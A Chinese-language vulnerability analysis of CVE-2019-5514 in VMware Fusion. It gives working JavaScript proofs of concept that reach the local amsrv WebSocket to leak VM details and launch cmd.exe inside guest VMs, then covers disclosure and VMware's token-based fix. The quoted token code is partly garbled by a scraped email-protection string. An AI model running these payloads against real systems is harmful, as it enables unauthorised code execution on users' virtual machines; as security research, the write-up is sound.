VMware Fusion 11通過WebSocket介面控制虛擬機器RCE漏洞分析(CVE-2019-5514)
概述
攻擊者可以通過某個網站,在無需掌握任何預備知識的前提下,在VMware Fusion Guest VM上執行任意命令。基本來說,VMware Fusion僅僅會在本地主機上偵聽WebSocket。攻擊者可以通過這一WebSocket介面完全控制所有虛擬機器,也可以建立或刪除快照,或者進行其他的操作,包括啟動應用程式。攻擊者需要在Guest虛擬機器上安裝VMware Tools,才能夠啟動應用程式,但實際上,大家應該都已經安裝了。因此,通過在網站上建立JavaScript,攻擊者就可以與未經文件記錄的API實現互動。當然,這都是未經過身份驗證的。
早期發現成果
幾個星期前,我在Twitter上看到了@CodeColorist 發表的一篇推文,談到了這個問題。他是最早發現這一問題的人,但由於我一直沒有時間研究這個問題,導致擱置了一段時間。當我再想回去看時,發現這篇推文已經被刪除了。但是,我在這位研究者的微博帳號中發現了同樣的推文(@CodeColorist)。下面是他釋出的微博截圖:
可以在這裡看到,我們可以通過Web套接字在Guest VM上執行任意命令,該介面由amsrv程序啟動。我非常信任這位研究者的研究成果,因此我接下來將在他提供的資訊基礎上做進一步的研究。
AMSRV
在研究中,我使用了GitHub上面的ProcInfoExample專案 ,利用Proc Info庫來監控執行VMware Fusion時啟動的程序型別。在啟動VMware時,將啟動vmrest(VMware REST API)和amsrv:
2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start: pid: 10936 path: /Applications/VMware Fusion.app/Contents/Library/vmrest user: 501 args: ( "/Applications/VMware Fusion.app/Contents/Library/amsrv", "-D", "-p", 8698 ) 2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start: pid: 10935 path: /Applications/VMware Fusion.app/Contents/Library/amsrv user: 501 args: ( "/Applications/VMware Fusion.app/Contents/Library/amsrv", "-D", "-p", 8698 )
它們似乎是相關的,特別是,我們可以通過這個埠訪問到一些未記錄的VMware REST API呼叫。由於我們可以通過amsrv程序控制應用程式選單,所以我認為這類似於“應用程式選單服務”(Application Menu Service)。如果我們導航到/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources的位置,我們可以找到一個名為app.asar的檔案,在檔案的末尾有一個node.js實現,與這個偵聽8698埠的WebSocket相關。在該檔案中,原始碼的格式規範非常好,因此我們並不需要進行硬核的逆向工程。
我們檢視這部分程式碼,它表明VMware Fusion應用程式選單確實會在8698埠上啟動amsrv程序,如果該埠被佔用,那麼將會嘗試下一個可以啟用的埠,依次類推。
const startVMRest = async () => { log.info('Main#startVMRest'); if (vmrest != null) { log.warn('Main#vmrest is currently running.'); return; } const execSync = require('child_process').execSync; let port = 8698; // The default port of vmrest is 8697 let portFound = false; while (!portFound) { let stdout = execSync('lsof -i :' + port + ' | wc -l'); if (parseInt(stdout) == 0) { portFound = true; } else { port++; } } // Let's store the chosen port to global global['port'] = port; const spawn = require('child_process').spawn; vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [ '-D', '-p', port ]);
我們可以在VMware Fusion Application目錄日誌中找到相關的日誌資訊:
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws ) 2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws ) 2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )
這樣一來,我們就可以確認Web套接字和其他API介面。
REST API – 洩漏虛擬機器資訊
如果我們導航到上面的URL(http://localhost:8698/api/internal/vms),我們將獲得格式良好的JSON,以及關於我們的虛擬機器的詳細資訊:
[ { "id": "XXXXXXXXXXXXXXXXXXXXXXXXXX", "processors": -1, "memory": -1, "path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx", "cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist", "powerState": "unknown" } ]
這已經是資訊洩露,攻擊者可以獲取有關我們的使用者ID、資料夾名稱、虛擬機器名稱等基本資訊。下面的程式碼可以用於展示這些資訊。如果我們能夠將這個JavaScript放入任何網站,並且執行Fusion的主機可以訪問它,那麼我們就可以查詢REST API。
var url = 'http://localhost:8698/api/internal/vms'; //A local page var xhr = new XMLHttpRequest(); xhr.open('GET', url, true); // If specified, responseType must be empty string or "text" xhr.responseType = 'text'; xhr.onload = function () { if (xhr.readyState === xhr.DONE) { if (xhr.status === 200) { console.log(xhr.response); //console.log(xhr.responseText); document.write(xhr.response) } } }; xhr.send(null);
如果我們仔細閱讀程式碼,就會發現這些額外的URL洩漏了更多資訊:'/api/vms/' + vm.id + '/ip'。這樣一來,我們就會獲得虛擬機器的內部IP地址,但這種方法並不適用於加密的虛擬機器或已經關機的虛擬機器。'/api/internal/vms/' + vm.id這部分與我們此前提到的第一個URL所獲得的資訊是相同的,僅僅是將資訊限制為針對單個虛擬機器。
WebSocket-帶有vmUUID的RCE
下面是@CodeColorist釋出的原始PoC。
<script> ws = new WebSocket("ws://127.0.0.1:8698/ws"); ws.onopen = function() { const payload = { "name":"menu.onAction", "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00", "userInfo": { "action":"launchGuestApp:", "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00", "representedObject":"cmd.exe" } }; ws.send(JSON.stringify(payload)); }; ws.onmessage = function(data) { console.log(JSON.parse(data.data)); ws.close(); }; </script>
在這個PoC中,我們需要虛擬機器的UUID才能啟動應用程式。我們可以在vmx檔案中找到bios.uuid,這就是所說的VmUUID。但問題是,這裡並不存在 vmUUID洩漏的情況,我們也不能使用暴力破解的方式,這幾乎是不可能完成的任務。我們需要在Guest VM上安裝VMware Tools才能成功執行,但實際上絕大多數使用者都已經預先安裝了這一工具。如果虛擬機器被掛起或關閉,那麼VMware將能夠幫助我們啟動虛擬機器。另外,命令也會被加入到佇列中,直到使用者登入,因此即使是在螢幕鎖定的狀態下,我們也可以在使用者登入後執行此命令。經過一些嘗試後,我注意到,如果我刪除了物件和vmUUID元素,程式碼最後使用的虛擬機器仍然會執行,因此也就會儲存一些狀態資訊。
WebSocket – 資訊洩漏
在開始還原,並追蹤Web套接字將呼叫的內容,以及程式碼中的其它選項之後,一些事情就會變得清晰,這時我們就可以完整訪問應用程式目錄,並且可以完整控制所有內容。在檢查VMware Fusion二進位制檔案時,我們發現其他目錄中包含一些其他的選項。
aMenuupdate: 00000001003bedd2db"menu.update", 0; DATA XREF=cfstring_menu_update aMenushow: 00000001003beddedb"menu.show", 0; DATA XREF=cfstring_menu_show aMenuupdatehotk: 00000001003bede8db"menu.updateHotKey", 0; DATA XREF=cfstring_menu_updateHotKey aMenuonaction: 00000001003bedfadb"menu.onAction", 0; DATA XREF=cfstring_menu_onAction aMenurefresh: 00000001003bee08db"menu.refresh", 0; DATA XREF=cfstring_menu_refresh aMenusettings: 00000001003bee15db"menu.settings", 0; DATA XREF=cfstring_menu_settings aMenuselectinde: 00000001003bee23db"menu.selectIndex", 0; DATA XREF=cfstring_menu_selectIndex aMenudidclose: 00000001003bee34db"menu.didClose", 0; DATA XREF=cfstring_menu_didClose
這些都是通過WebSocket呼叫的。我沒有再繼續深入地研究每個選單上的每個選項,但是如果我們已經掌握了vmUUID,我們就可以做任何想做的事情,例如製作快照、啟動虛擬機器、刪除虛擬機器等等。但由於目前,我還沒有弄清楚應該如何得到它,因此還沒能夠實際實現這一點,這也是需要解決的一個問題。
下一個值得關注的選項是menu.refresh。如果我們使用以下Payload:
const payload = { "name":"menu.refresh", };
我們將會獲得和虛擬機器以及固定應用程式相關的一些詳細資訊。
{ "key": "menu.update", "value": { "vmList": [ { "name": "Kali 2018 Master (2018Q4)", "cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist" }, { "name": "macOS 10.14", "cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist" }, { "name": "Windows 10 x64", "cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist" } ], "menu": { "pinnedApps": [], "frequentlyUsedApps": [ { "rawIcons": [ { (...)
通過前面討論的API,我們可以發現這一點,因此我們發現了更多的資訊被洩漏。
WebSocket – 完整的遠端程式碼執行(在不掌握vmUUID的情況下)
下一個值得關注的條目時menu.selectIndex,它建議使用者可以選擇的虛擬機器。甚至,在app.asar檔案中,有一部分相關的程式碼,可以告知我如何對其進行呼叫:
// Called when VM selection changed selectIndex(index: number) { log.info('Renderer#ActionService::selectIndex: (index:', index, ')'); if (this.checkIsFusionUIRunning()) { this.send({ name: 'menu.selectIndex', userInfo: { selectedIndex: index } }); }
如果我們按照上面的建議來對此項進行呼叫,然後嘗試在Guest虛擬機器上啟動應用程式,我們就可以指定哪個Guest VM執行該應用程式。基本上,我們可以通過這一呼叫來實現虛擬機器的選擇。
const payload = { "name":"menu.selectIndex", "userInfo":{ "selectedIndex":"3" } };
接下來,我進行了嘗試,看看是否可以直接在menu.onAction呼叫中使用selectedIndex。最終,答案是肯定的。很明顯,我使用menu.refresh獲得的vmList具有每個虛擬機器正確順序和索引。
為了獲得完整的遠端程式碼執行,我們的步驟應該如下:
1. 使用menu.refresh洩漏虛擬機器列表;
2. 使用索引,在Guest VM上啟動應用程式。
PoC
<script> ws = new WebSocket("ws://127.0.0.1:8698/ws"); ws.onopen = function() { //payload to show vm names and cache path const payload = { "name":"menu.refresh", }; ws.send(JSON.stringify(payload)); }; ws.onmessage = function(data) { //document.write(data.data); console.log(JSON.parse(data.data)); var j_son = JSON.parse(data.data); var vmlist = j_son.value.vmList; var i; for (i = 0; i < vmlist.length; i++) { //payload to launch an app, you can use either the vmUUID or the selectedIndex const payload = { "name":"menu.onAction", "userInfo": { "action":"launchGuestApp:", "selectedIndex":i, "representedObject":"cmd.exe" } }; if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));} } ws.close(); }; </script>
向VMware報告
在此時,我與@Codecolorist取得了聯絡,並詢問他是否已經向VMware報告,得到了肯定的答案,並且VMware持續在與他進行溝通。我決定,向VMware傳送另一份報告,因為我發現這一漏洞非常嚴重,特別是與原來的PoC相比,我找到了一種能夠執行這種攻擊的實際方法,我希望能督促VMware儘快修復。
修復
幾天前,WMware釋出了一個修補程式和諮詢,編號為VMSA-2019-0005 。我們來看看他們做出的實際改動,基本上,他們實現了令牌認證,其中每次啟動VMware都會執行新生成的令牌。
下面是用於生成令牌的相關程式碼(來源於app.asar):
String.prototype.pick = function(min, max) { var n, chars = ''; if (typeof max === 'undefined') { n = min; } else { n = min + Math.floor(Math.random() * (max - min + 1)); } for (var i = 0; i < n; i++) { chars += this.charAt(Math.floor(Math.random() * this.length)); } return chars; String.prototype.shuffle = function() { var array = this.split(''); var tmp, current, top = array.length; if (top) while (--top) { current = Math.floor(Math.random() * (top + 1)); tmp = array[current]; array[current] = array[top]; array[top] = tmp; } return array.join(''); export class Token { public static generate(): string { const specials = '<a href="/cdn-cgi/l/email-protection" data-cfemail="b091f0">[email protected]</a>#$%^&*()_+{}:"<>?|[];\',./`~'; const lowercase = 'abcdefghijklmnopqrstuvwxyz'; const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; const numbers = '0123456789'; const all = specials + lowercase + uppercase + numbers; let token = ''; token += specials.pick(1); token += lowercase.pick(1); token += uppercase.pick(1); token += numbers.pick(1); token += all.pick(5, 7); token = token.shuffle(); return Buffer.from(token).toString('base64'); }
令牌碼是一個可變長度的密碼,其中包含來自APP、小寫、數字和符號之中的至少1個字元。該令牌碼將會被使用Base64方法進行編碼,我們可以在WireShark中找到它:
我們還可以看到它正在程式碼中使用:
function sendVmrestReady() { log.info('Main#sendVmrestReady'); if (mainWindow) { mainWindow.webContents.send('vmrestReady', [ 'ws://localhost:' + global['port'] + '/ws?token=' + token, 'http://localhost:' + global['port'], '?token=' + token ]); }
如果我們有mac用於執行程式碼,我們可能會解決這一令牌的問題,但在這種情況下,它無論如何都並不重要,密碼實際上會限制攻擊者利用這個遠端程式碼的能力。
通過一些實驗,我還發現我們需要將Header中的Origin設定為file://,否則將會被禁用,由於這必須由瀏覽器進行設定,所以我們無法通過正常的JS呼叫來進行設定。如下所示。
Origin: file://
因此,即使攻擊者知道令牌,也無法通過普通網頁觸發此令牌。